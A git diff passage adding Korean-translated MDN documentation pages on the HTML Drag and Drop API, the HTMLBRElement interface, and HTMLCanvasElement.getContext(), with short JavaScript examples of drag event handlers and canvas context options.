+        if(list[i] === value) return true;
+    }
+    return false;
+}
+
+function doDragOver(event) {
+  var isLink = contains( event.dataTransfer.types, "text/uri-list");
+  if (isLink) {
+    event.preventDefault();
+  }
+}
+ +

이 예제에서 형식 목록 내에 text/uri-list 형식이 존재하는지 확인하기 위해 contains 메서드를사용합니다. 존재할 경우에는 드랍을 허용하기 위해 이벤트가 취소될 것입니다. 드래그 데이터가 링크를 포함하지 않았다면, 해당 이벤트는 취소되지 않을 것이고 그 위치에 대한 드랍이 발생하지 않을 것입니다.

+ +

수행되어야 하는 작업 형식을 더 세부적으로 설정하길 원한다면, {{domxref("DataTransfer.effectAllowed","effectAllowed")}}나 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 각각 설정하거나 동시에 둘 다를 설정하고 싶을 것입니다. 두 속성을 변경하더라도 해당 이벤트를 취소하지 않으면 아무런 영향이 없을 것입니다.

+ +

Updates to DataTransfer.types

+ +

최신 스펙에는 {{domxref("DataTransfer.types")}}이 {{domxref("DOMStringList")}}(이 속성은 Fiirefox 52 이상에서 지원됨)이 아닌 {{domxref("DOMString")}} 형식의 고정배열(fronzen array)을 반환하도록 명시하고 있음에 유의하시기 바랍니다.

+ +

그 결과로, contains 메서드는 해당 속성에 대해 더 이상 동작하지 않으며; 특정 형식의 데이터가 제공되는지 확인하기 위해서는 다음 코드와 같이 includes 메서드를 사용해야 합니다:

+ +
if ([...event.dataTransfer.types].includes('text/html')) {
+  // Do something
+}
+ +

일부 특성 검출(feature detection)을 이용해 types에 대해 어떤 메서드가 지원되는지를 판별하고 적절하게 코드를 실행할 수 있습니다.

+ +

Drop Feedback

+ +

There are several ways in which you can indicate to the user that a drop is allowed at a certain location. The mouse pointer will update as necessary depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property. Although the exact appearance depends on the user's platform, typically a plus sign icon will appear for a 'copy' for example, and a 'cannot drop here' icon will appear when a drop is not allowed. This mouse pointer feedback is sufficient in many cases.

+ +

However, you can also update the user interface with an insertion point or highlight as needed. For simple highlighting, you can use the -moz-drag-over CSS pseudoclass on a drop target.

+ +
.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+
+ +

In this example, the element with the class droparea will receive a 1 pixel black border while it is a valid drop target, that is, if the {{domxref("Event.preventDefault","preventDefault()")}} method was called during the {{event("dragenter")}} event. Note that you must cancel the {{event("dragenter")}} event for this pseudoclass to apply, as this state is not checked for the {{event("dragover")}} event.

+ +

For more complex visual effects, you can also perform other operations during the {{event("dragenter")}} event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an image or separator element, for example, and simply insert it into the document during the {{event("dragenter")}} event.

+ +

The {{event("dragover")}} event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a {{event("dragover")}} event as well. You can use the event's {{domxref("MouseEvent.clientX","clientX")}} and {{domxref("MouseEvent.clientY","clientY")}} properties as with other mouse events to determine the location of the mouse pointer.

+ +

Finally, the {{event("dragleave")}} event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the -moz-drag-over pseudoclass will be removed automatically. The {{event("dragleave")}} event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.

+ +

Performing a Drop

+ +

When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last {{event("dragenter")}} or {{event("dragover")}} event, and then the drop will be successful, and a {{event("drop")}} event will fire at the target. Otherwise, the drag operation is cancelled, and no {{event("drop")}} event is fired.

+ +

During the {{event("drop")}} event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine which drag operation was desired.

+ +

As with all drag-related events, the event's {{domxref("DataTransfer","dataTransfer")}} property will hold the data that is being dragged. The {{domxref("DataTransfer.getData","getData()")}} method may be used to retrieve the data again.

+ +
function onDrop(event) {
+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+
+ +

The {{domxref("DataTransfer.getData","getData()")}} method takes one argument, the type of data to retrieve. It will return the string value that was set when {{domxref("DataTransfer.setData","setData()")}} was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally, though, you would likely know that the right type of data was available, as it was previously checked during a {{event("dragover")}} event.

+ +

In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element.

+ +

In a web page, you should call the {{domxref("Event.preventDefault","preventDefault()")}} method of the event if you have accepted the drop so that the default browser handling does not handle the dropped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behavior will be prevented.

+ +

You can retrieve other types of data as well. If the data is a link, it should have the type text/uri-list. You could then insert a link into the content.

+ +
function doDrop(event) {
+  var lines = event.dataTransfer.getData("text/uri-list").split("\n");
+  for (let line of lines) {
+    if (line.startsWith("#"))
+      continue;
+
+    let link = document.createElement("a");
+    link.href = line;
+    link.textContent = line;
+    event.target.appendChild(link);
+  }
+  event.preventDefault();
+}
+
+ +

This example inserts a link from the dragged data. As you might be able to guess from the name, the text/uri-list type actually may contain a list of URLs, each on a separate line. In this code, we use the split to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.

+ +

For simple cases, you can use the special type URL just to retrieve the first valid URL in the list. For example:

+ +
var link = event.dataTransfer.getData("URL");
+
+ +

This eliminates the need to check for comments or iterate through lines yourself; however, it is limited to only the first URL in the list.

+ +

The URL type is a special type used only as a shorthand, and it does not appear within the list of types specified in the {{domxref("DataTransfer.types","types")}} property.

+ +

Sometimes you may support some different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are supported by a drop target.

+ +

The following example returns the data associated with the best-supported format:

+ +
function doDrop(event) {
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter((value) => types.includes(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}
+
+ +

This method relies on JavaScript functionality available in Firefox 3. However, the code could be adjusted to support other platforms.

+ +

Finishing a Drag

+ +

Once the drag is complete, a {{event("dragend")}} event is fired at the source of the drag (the same element that received the {{event("dragstart")}} event). This event will fire if the drag was successful[1] or if it was cancelled. However, you can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine what drop operation occurred.

+ +

If the {{domxref("DataTransfer.dropEffect","dropEffect")}} property has the value none during a {{event("dragend")}}, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if it was successful.

+ +

A drop can occur inside the same window or over another application. The {{event("dragend")}} event will always fire regardless. The event's {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}} properties will be set to the screen coordinate where the drop occurred.

+ +

After the {{event("dragend")}} event has finished propagating, the drag and drop operation is complete.

+ +

[1] In Gecko, {{event("dragend")}} is not dispatched if the source node is moved or removed during the drag (e.g. on drop or {{event("dragover")}}).  bug 460801

+ +

See also

+ + diff --git "a/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" new file mode 100644 index 0000000000..70a4295284 --- /dev/null +++ "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" @@ -0,0 +1,303 @@ +--- +title: HTML 드래그 앤 드롭 API +slug: Web/API/HTML_드래그_앤_드롭_API +tags: + - HTML5 + - XUL + - 가이드 + - 개요 + - 고급 + - 드래그 앤 드롭 + - 이벤트 +translation_of: Web/API/HTML_Drag_and_Drop_API +--- +

{{DefaultAPISidebar("HTML 드래그 앤 드롭 API")}}

+ +

HTML 드래그 앤 드롭 인터페이스는 파이어폭스와 다른 브라우저에서 어플리케이션이 드래그 앤 드롭 기능을 사용하게 해줍니다. 이 기능을 이용해 사용자는 draggable 요소를 마우스로 선택해 droppable 요소로 드래그하고, 마우스 버튼에서 손을 뗌으로써 요소를 드롭할 수 있습니다. 드래그하는 동안 draggable 요소는 반투명한 채로 마우스 포인터를 따라다닙니다.

+ +

웹 사이트나 확장 기능, XUL 어플리케이션을 위해, 다양한 요소를 draggable 요소로 만들 수 있고, 이벤트에 대한 draggable 요소의 반응들을 만들어내거나 droppable 요소를 자유자재로 만들 수 있습니다.

+ +

이 문서는 HTML 드래그 앤 드롭에 대한 전반적인 개요입니다. 인터페이스에 대한 설명과 드래그 앤 드롭 기능을 어플리케이션에서 사용하기 위한 기본적인 절차, 인터페이스의 상호 운용성에 대한 요약 등이 이 문서에 담겨있습니다.

+ +

드래그 이벤트

+ +

HTML 드래그 앤 드롭은 {{domxref("Event","DOM event model")}} 과 {{domxref("DragEvent","drag events")}}   {{domxref("MouseEvent","mouse events")}} 로부터 상속받습니다. 보통 드래그는 사용자가 draggable 요소를 마우스로 선택하고, 마우스 포인터를 droppable 요소로 가져가 마우스 버튼을 때는 것으로 이루어집니다. 드래그하는 도중에 많은 이벤트가 발생하고, 몇몇 이벤트는 여러번 발생하기도 합니다. ( {{event("drag")}}와 {{event("dragover")}}).

+ +

모든 드래그 이벤트글로벌 이벤트 핸들러와 연결되어 있습니다. 각 드래그 이벤트와 드래그 전역 속성은 참조 문서를 가지고 있습니다. 아래 표는 각 이벤트에 대한 간략한 설명과 참조 문서로의 링크를 담고 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이벤트이벤트 핸들러설명
{{domxref('Document/drag_이벤트', 'drag')}}{{domxref('GlobalEventHandlers.ondrag','ondrag')}}요소나 텍스트 블록을 드래그 할 때 발생한다.
{{event('dragend')}}{{domxref('GlobalEventHandlers.ondragend','ondragend')}} +

드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) (드래그 끝내기를 보시오)

+
{{event('dragenter')}}{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}} +

드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. (드롭 대상 지정하기를 보시오.)

+
{{event('dragexit')}}{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}} +

요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.

+
{{event('dragleave')}}{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}} +

드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.

+
{{event('dragover')}}{{domxref('GlobalEventHandlers.ondragover','ondragover')}} +

요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)

+
{{event('dragstart')}}{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} +

사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. (드래그 시작하기를 보시오.)

+
{{event('drop')}}{{domxref('GlobalEventHandlers.ondrop','ondrop')}} +

요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. (드롭하기를 보시오.)

+
+ +

참고: dragstartdragend 이벤트는 파일을 브라우저로 드래그할 때는 발생하지 않습니다.

+ +

인터페이스

+ +

HTML 드래그와 드롭 인터페이스는 {{domxref("DragEvent")}}, {{domxref("DataTransfer")}}, {{domxref("DataTransferItem")}}, {{domxref("DataTransferItemList")}} 입니다.

+ +

{{domxref("DataTransfer")}} 객체는 드래그 형태나 드래그 데이터 (하나 이상의 아이템), 각 드래그 아이템의 종류 (MIME 종류) 와 같은 드래그 이벤트의 상태를 담고 있습니다. {{domxref("DataTransfer")}} 는 또한 드래그 데이터에 아이템을 추가하거나 제거하는 메소드를 가지고 있습니다. The {{domxref("DragEvent")}} 와 {{domxref("DataTransfer")}} 인터페이스만 있으면 어플리케이션에 HTML 드래그 앤 드롭 기능을 추가할 수 있습니다. 참고로 파이어폭스는 {{domxref("DataTransfer")}}에 {{anch("Gecko specific interfaces","Gecko-specific extensions")}} 와 같은 파이어폭스에서만 동작하는 추가적인 확장을 제공합니다. 

+ +

{{domxref("DataTransfer")}}는 {{domxref("DataTransferItem")}}의 {{domxref("DataTransferItemList","목록")}} 인 {{domxref("DataTransfer.items","items")}} 프로퍼티를 가지고 있습니다. 각 {{domxref("DataTransferItem")}} 는 하나의 드래그 아이템을 나타내고 각 아이템은 데이터의 종류 (string 혹은 file) 를 나타내는 {{domxref("DataTransferItem.kind","kind")}} 프로퍼티와 데이터 아이템의 종류 (MIME 종류) 를 나타내는 {{domxref("DataTransferItem.type","type")}} 프로퍼티를 가집니다. {{domxref("DataTransferItem")}}은 드래그 아이템의 데이터를 가져오는 메소드를 제공합니다.

+ +

{{domxref("DataTransferItemList")}} 객체는 {{domxref("DataTransferItem")}}의 리스트입니다. 이 리스트 객체는 세 개의 메소드 - 드래그 아이템을 리스트에 추가하거나, 리스트에서 아이템을 삭제하거나, 모든 드래그 아이템을 리스트에서 삭제하는 메소드 - 를 가집니다.

+ +

A key difference between the {{domxref("DataTransfer")}} and {{domxref("DataTransferItem")}} interfaces is that the former uses the synchronous {{domxref("DataTransfer.getData","getData()")}} method to access a drag item's data, whereas the later uses the asynchronous {{domxref("DataTransferItem.getAsString","getAsString()")}} method to access a drag item's data.

+ +

{{domxref("DataTransfer")}}와 {{domxref("DataTransferItem")}}의 가장 중요한 차이점은 전자는 드래그 아이템의 데이터에 접근하기 위해 동기 메소드인 {{domxref("DataTransfer.getData","getData()")}}를 사용하는데 반해, 후자는 비동기 메소드인 {{domxref("DataTransferItem.getAsString","getAsString()")}}를 사용한다는 점입니다.

+ +

참고: {{domxref("DragEvent")}} and {{domxref("DataTransfer")}}는 여러 데스크탑 브라우저에서 폭넓게 지원하고 있습니다. 하지만 {{domxref("DataTransferItem")}}와 {{domxref("DataTransferItemList")}}는 제한적으로 사용 가능합니다. 드래그 앤 드롭의 상호 운용성에 대한 더 많은 정보를 찾아보기 위해 {{anch("Interoperability")}}를 보십시오.

+ +

Gecko 한정 인터페이스

+ +

모질라와 파이어폭스는 표준 드래그 앤 드롭 모델에서 제공하지 않는 몇가지 기능들을 추가로 제공합니다. 여러 개의 아이템을 동시에 드래그하거나 파일과 같이 문자열이 아닌 데이터를 드래그 하기 위한 여러 편리한 기능을 제공합니다. 더 많은 정보를 찾아보기 위해, Dragging and Dropping Multiple Items을 보십시오. 덧붙여, 모든 Gecko 한정 프로퍼티나 Gecko 한정 메소드를 찾아보기 위해 {{domxref("DataTransfer")}} 참조 페이지도 보시기 바랍니다.

+ +

기본

+ +

이번 절은 드래그 앤 드롭 기능을 추가하기 위한 기본적인 방법을 요약하고 있습니다. 각 절은 단계를 설명하고, 짧은 코드 예제와 추가적인 정보를 위한 링크를 포함합니다.

+ +

어떤 것이 draggable인지 확인하기

+ +

하나의 요소를 draggable로 만들기 위해서는 {{htmlattrxref("draggable")}}와 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 전역 이벤트 핸들러를 아래 예제 코드와 같이 추가해야합니다.

+ +
function dragstart_handler(ev) {
+ console.log("dragStart");
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+}
+
+
+ +
<script>
+  function dragstart_handler(ev) {
+    // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+    ev.dataTransfer.setData("text/plain", ev.target.id);
+  }
+
+  window.addEventListener('DOMContentLoaded', () => {
+    // id를 통해 element를 가져옵니다.
+    const element = document.getElementById("p1");
+    // 'dragstart' 이벤트 리스터를 추가합니다.
+    element.addEventListener("dragstart", dragstart_handler);
+  });
+</script>
+
+<p id="p1" draggable="true">This element is draggable.</p>
+ +

추가 정보를 위해 draggable attribute referenceDrag operations guide를 참고하세요.

+ +

드래그 데이터 정의하기

+ +

드래그할 때 자유롭게 데이터 아이템을 포함할 수 있습니다. 각 데이터 아이템은 특정 type의 {{domxref("DOMString","문자열")}}이며, 보통 text/html와 같은 MIME type입니다.

+ +

각 {{domxref("DragEvent","drag event")}} 은 이벤트 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 를 가집니다. 이 프로퍼티는 ({{domxref("DataTransfer")}} 객체) 드래그 데이터를 관리하는 메소드를 가집니다. {{domxref("DataTransfer.setData","setData()")}} 는 아래 코드 예제와 같이 아이템을 드래그 데이터에 추가할 때 사용합니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 데이터를 추가합니다.
+  ev.dataTransfer.setData("text/plain", ev.target.id);
+  ev.dataTransfer.setData("text/html", "<p>Example paragraph</p>");
+  ev.dataTransfer.setData("text/uri-list", "http://developer.mozilla.org");
+}
+
+ +

드래그 앤 드롭에 사용할 수 있는 공통 데이터 타입 (텍스트, HTML, 링크, 파일 등) 의 목록을 보려면, Recommended Drag Types를 참고하십시오. 드래그 데이터에 대한 추가적인 정보를 위해서는 Drag Data를 참고하십시오.

+ +

드래그 이미지 정의하기

+ +

브라우저는 드래그 하는 동안 마우스 포인터 옆에 나타나는 이미지를 기본적으로 제공합니다. 어플리케이션에서 다른 이미지를 사용하기 원한다면 아래 예제와 같이 {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 사용할 수 있습니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 이미지로 사용할 이미지를 만듭니다.
+  // 참고: "example.gif"를 존재하는 이미지로 바꾸지 않으면 기본 드래그 이미지를 사용합니다.
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+
+ +

드래그 이미지에 대해 더 알아보려면, Setting the Drag Feedback Image를 참고하세요.

+ +

드래그 효과 정의하기

+ +

{{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티는 드래그 앤 드롭 도중에 사용자에게 피드백 (보통 시각적인) 을 제공하기 위해 사용합니다. 브라우저가 드래그 하는 동안 어떤 마우스 포인터를 보여줄 지 결정합니다. 사용자가 마우스 포인터를 대상 드롭 요소에 올려놓으면, 브라우저는 드래그 효과에 적합한 마우스 포인터를 보여줄 것입니다.

+ +

세 개의 효과가 정의되어 있습니다:

+ +

copy는 현재 위치에서 드롭하는 위치로 데이터가 복사될 것을 암시합니다.

+ +

move는 현재 위치에서 드롭하는 위치로 데이터가 이동할 것을 암시합니다.

+ +

link는 드래그하는 위치와 드롭하는 위치 간의 일종의 관계나 연결이 맺어진 다는 것을 암시합니다.

+ +

특정 위치에서는 특정 효과가 허용된다는 것을 알려주기 위해 드래그 하는 도중에 효과가 변할 수 있습니다. 허용되는 경우에만 해당 위치에 드롭할 수 있습니다.

+ +

다음 예제는 어떻게 이 프로퍼티를 사용하는지 보여줍니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 효과를 copy로 지정합니다.
+  ev.dataTransfer.dropEffect = "copy";
+}
+
+ +

더 자세한 설명은 Drag Effects를 참고하세요.

+ +

드롭 지역 정의하기

+ +

기본적으로는 브라우저는 HTML 요소에 뭔가를 드롭했을 때 아무 일도 일어나지 않도록 합니다. 특정 요소가 드롭 지역 혹은 droppable로 만들기 위해서는 해당 요소가 {{domxref("GlobalEventHandlers.ondragover","ondragover")}}와 {{domxref("GlobalEventHandlers.ondrop","ondrop")}} 이벤트 핸들러 속성을 가져야합니다. 아래 예제는 두 요소를 어떻게 사용하고, 각 요소에 포함된 기본적인 이벤트 핸들러를 보여줍니다.

+ +
<script>
+function dragover_handler(ev) {
+ ev.preventDefault();
+ // dropEffect를 move로 설정.
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
+ const data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</p>
+ +

각 핸들러는 {{domxref("Event.preventDefault","preventDefault()")}} 를 호출해 추가적인 이벤트 (터치 이벤트나 포인터 이벤트) 가 일어나지 않도록 합니다.

+ +

추가적인 정보는, Specifying Drop Targets를 참고하세요.

+ +

드롭 효과 다루기

+ +

{{event("drop")}} 이벤트 핸들러는 자유롭게 드래그 데이터를 가공할 수 있습니다. 보통, 드래그 아이템과 각 아이템을 가공하기 위해 {{domxref("DataTransfer.getData","getData()")}}를 사용합니다. 추가로, {{domxref("DataTransfer.dropEffect","dropEffect")}} 값이나 보조키 상태에 따라 어플리케이션이 어떻게 동작할지를 결정할 수 있습니다.

+ +

아래 예제는 드롭 핸들러가 드래그 데이터로부터 드래그하는 요소의 id를 가져와 드래그하는 요소를 드롭하는 요소로 옮기기위해 사용합니다.

+ +
<script>
+function dragstart_handler(ev) {
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
+ // Get the id of the target and add the moved element to the target's DOM
+ const data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">This element is draggable.</p>
+<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</div>
+ +

더 많은 정보를 위해 Performing a Drop을 보십시오.

+ +

드래그가 끝나면

+ +

드래그가 끝나면 드래그한 요소에 {{event("dragend")}} 이벤트가 발생합니다. 이 이벤트는 드래그가 완료되거나 중간에 취소되어도 발생합니다. {{event("dragend")}} 이벤트 핸들러는 {{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티를 확인해 드래그가 성공했는지를 확인할 수 있습니다.

+ +

드래그 끝을 다루기 위한 더 많은 정보는 Finishing a Drag를 참고하세요. 

+ +

상호 운용성

+ +

DataTransferItem interface's Browser Compatibility table에 나온 대로, 드래그 앤 드롭은 상대적으로 여러 데스크톱 브라우저에서 폭넓게 사용할 수 있습니다 ({{domxref("DataTransferItem")}}는 {{domxref("DataTransferItemList")}} 덜 지원하지만). 또한 모바일 브라우저에서는 매우 한정적으로 사용할 수 있습니다.

+ +

예제와 데모

+ + + +

명세서 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dnd")}}{{Spec2('HTML WHATWG')}}
+ +

더보기

+ + diff --git a/files/ko/web/api/htmlbrelement/index.html b/files/ko/web/api/htmlbrelement/index.html new file mode 100644 index 0000000000..85cbe5d72b --- /dev/null +++ b/files/ko/web/api/htmlbrelement/index.html @@ -0,0 +1,64 @@ +--- +title: HTMLBRElement +slug: Web/API/HTMLBRElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLBRElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLBRElement 인터페이스는 HTML 줄바꿈 요소({{htmlelement("br")}})를 나타냅니다. {{domxref("HTMLElement")}}를 상속합니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

속성

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLBRElement.clear")}} {{obsolete_inline}}
+
떠있는 요소 주변 텍스트의 흐름을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlbrelement", "HTMLBRElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "textlevel-semantics.html#the-br-element", "HTMLBRElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLBRElement")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlcanvaselement/getcontext/index.html b/files/ko/web/api/htmlcanvaselement/getcontext/index.html new file mode 100644 index 0000000000..89a54a2c1d --- /dev/null +++ b/files/ko/web/api/htmlcanvaselement/getcontext/index.html @@ -0,0 +1,144 @@ +--- +title: HTMLCanvasElement.getContext() +slug: Web/API/HTMLCanvasElement/getContext +tags: + - API + - Canvas + - HTMLCanvasElement + - 레퍼런스 + - 메소드 +translation_of: Web/API/HTMLCanvasElement/getContext +--- +
{{APIRef("Canvas API")}}
+ +

HTMLCanvasElement.getContext() 메소드는 캔버스의 드로잉 컨텍스트를 반환합니다. 컨텍스트 식별자가 지원되지 않을 경우 {{jsxref("null")}}을 반환합니다.

+ +

동일한 캔버스 엘리먼트에서 나중에 이 메소드를 호출하면 동일한 contextType 인자와 함께 메소드가 마지막으로 호출되었을 때 반환된 것과 같이 동일한 드로잉 컨텍스트 인스턴스를 반환합니다. 다른 드로잉 컨텍스트 객체를 얻으려면 다른 contextType을 전달하거나 다른 캔버스 엘리먼트에서 메소드를 호출해야 합니다.

+ +

구문

+ +
var ctx = canvas.getContext(contextType);
+var ctx = canvas.getContext(contextType, contextAttributes);
+
+ +

파라미터

+ +
+
contextType
+
캔버스에 연관된 드로잉 컨텍스트를 정의하는 컨텍스트 식별자를 갖는 {{domxref("DOMString")}}입니다. 가능한 값은 다음과 같습니다. +
    +
  • "2d", 2차원 렌더링 컨텍스트를 나타내는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성하게 합니다.
  • +
  • "webgl" (또는 "experimental-webgl"), 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 1 (OpenGL ES 2.0)을 구현하는 브라우저에서만 사용가능합니다.
  • +
  • "webgl2", 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 2 (OpenGL ES 3.0)를 구현하는 브라우저에서만 사용가능합니다. {{experimental_inline}}
  • +
  • "bitmaprenderer", 캔버스의 컨텐츠를 주어진 {{domxref("ImageBitmap")}}으로 대체하기위한 기능만을 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다.
  • +
+ +
+

노트: 식별자 "experimental-webgl"은 WebGL의 새로운 구현에서 사용됩니다. 이러한 구현은 테스트 스위트 적합성을 아직 만족하지 못하며, 플랫폼 상의 그래픽 드라이버도 아직 불안정합니다. Khronos Group은 특정 적합성 규칙에 따라 WebGL 구현을 인증합니다.

+
+
+
contextAttributes
+
+

렌더링 컨텍스트를 생성할 때 몇 가지 컨텍스트 속성을 사용할 수 있습니다. 예를 들면:

+ +
const gl = canvas.getContext('webgl', {
+  antialias: false,
+  depth: false
+});
+ 2d 컨텍스트 속성: + +
    +
  • alpha: 캔버스가 알파 채널을 포함하는지를 나타내는 불리언입니다. false로 설정할 경우, 브라우저는 이제 배경이 항상 투명하다는 것을 알기때문에 투명한 컨텐츠나 이미지를 그리는 속도를 높일수 있습니다.
  • +
  • {{non-standard_inline}} (Gecko 전용) willReadFrequently: 많은 다시 읽기 작업이 계획되어있는지 여부를 나타내는 불리언입니다. 이는 소프트웨어(하드웨어 가속 대신) 2D 캔버스의 사용을 강제하며 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} 호출이 빈번할때 메모리를 절약할 수 있습니다. 이 옵션은 gfx.canvas.willReadFrequently.enable 플래그가 true(기본 값이며, B2G/Firefox OS에만 해당) 설정되었을 경우에만 사용가능합니다.
  • +
  • {{non-standard_inline}} (Blink only) storage: 어떤 스토리지가 사용되었는지를 나타내는 문자열입니다(기본값은 "persistent").
  • +
+ WebGL 컨텍스트 속성: + +
    +
  • alpha: 캔버스가 알파 버퍼를 포함하는지 여부를 나타내는 불리언입니다.
  • +
  • antialias: 안티 앨리어싱을 수행할지 여부를 나타내는 불리언입니다.
  • +
  • depth: 드로잉 버퍼가 최소 16 비트의 깊이 버퍼를 갖는지 여부를 나타내는 불리언입니다.
  • +
  • failIfMajorPerformanceCaveat: 시스템 성능이 낮을 경우에 컨텍스트를 생성할지 여부를 나타내는 불리언입니다.
  • +
  • powerPreference: WebGL 컨텍스트에 대해 적합한 GPU 구성이 무엇인지를 나타내는 유저 에이전트에 대한 힌트입니다. 가능한 값은 다음과 같습니다. +
      +
    • "default": 유저 에이전트가 가장 적합한 GPU 구성을 결정하도록 합니다. 기본 값입니다.
    • +
    • "high-performance": 전력 소비보다 렌더링 성능을 우선시합니다.
    • +
    • "low-power": 렌더링 성능보다 전력 절약을 우선시합니다.
    • +
    +
  • +
  • premultipliedAlpha: 페이지 컴포지터가 미리 곱해진 알파를 갖는 컬러를 포함하는 드로잉 버퍼를 가정할 것인지 여부를 나타내는 불리언입니다.
  • +
  • preserveDrawingBuffer: 값이 true일 경우 버퍼는 제거되지 않으며 값이 제거되거나 덮어쓰여지기 전까지 유지됩니다.
  • +
  • stencil: 드로잉 버퍼가 최소 8 비트의 스텐실 버퍼를 갖는지 여부를 나타내는 불리언입니다.
  • +
+
+
+ +

반환 값

+ +

{{domxref("RenderingContext")}}는 다음 중 하나입니다.

+ + + +

contextType이 가능한 드로잉 컨텍스트와 일치하지 않으면, null이 반환됩니다.

+ +

예시

+ +

다음 {{HTMLElement("canvas")}} 엘리먼트를 고려해볼 때:

